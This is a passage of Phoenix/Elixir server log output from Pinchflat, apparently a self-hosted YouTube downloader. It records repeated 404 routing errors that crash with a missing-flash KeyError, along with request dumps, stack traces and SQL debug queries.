"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4OaqyMvMGJUAAWph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykk (truncated) 21:43:13.361 [error] #PID<0.36775.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 21) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36775.0>, params: %{}, path_info: ["sources", "10", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4OaU8u7fUWkAAWpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaU (truncated) 21:43:13.377 [info] GET /sources/10/force_download_pending 21:43:13.377 [info] GET /sources/10/media/12541 21:43:13.377 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12541", "source_id" => "10"} Pipelines: [:browser] 21:43:13.377 [debug] QUERY OK source="settings" db=0.3ms idle=89.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.378 [debug] QUERY OK source="settings" db=0.2ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.378 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.379 [debug] QUERY OK source="media_items" db=1.1ms idle=19.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12541] 21:43:13.380 [debug] QUERY OK source="tasks" db=0.3ms idle=20.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12541] 21:43:13.380 [debug] QUERY OK source="sources" db=0.5ms idle=20.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.381 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=2.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2179] 21:43:13.378 [error] #PID<0.36777.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 22) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36777.0>, params: %{}, path_info: ["sources", "10", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4OfVXxgnnfUAAWdj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaU (truncated) 21:43:13.382 [debug] QUERY OK source="settings" db=0.5ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.383 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.384 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.385 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.388 [info] Sent 200 in 11ms 21:43:13.394 [info] GET /sources/10 21:43:13.395 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "10"} Pipelines: [:browser] 21:43:13.396 [debug] QUERY OK source="sources" db=0.7ms idle=13.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.397 [debug] QUERY OK source="media_profiles" db=0.5ms idle=14.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.398 [debug] QUERY OK source="tasks" db=0.4ms idle=14.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 21:43:13.398 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=13.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 21:43:13.399 [debug] QUERY OK source="settings" db=0.3ms idle=13.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.400 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.400 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.402 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.403 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' 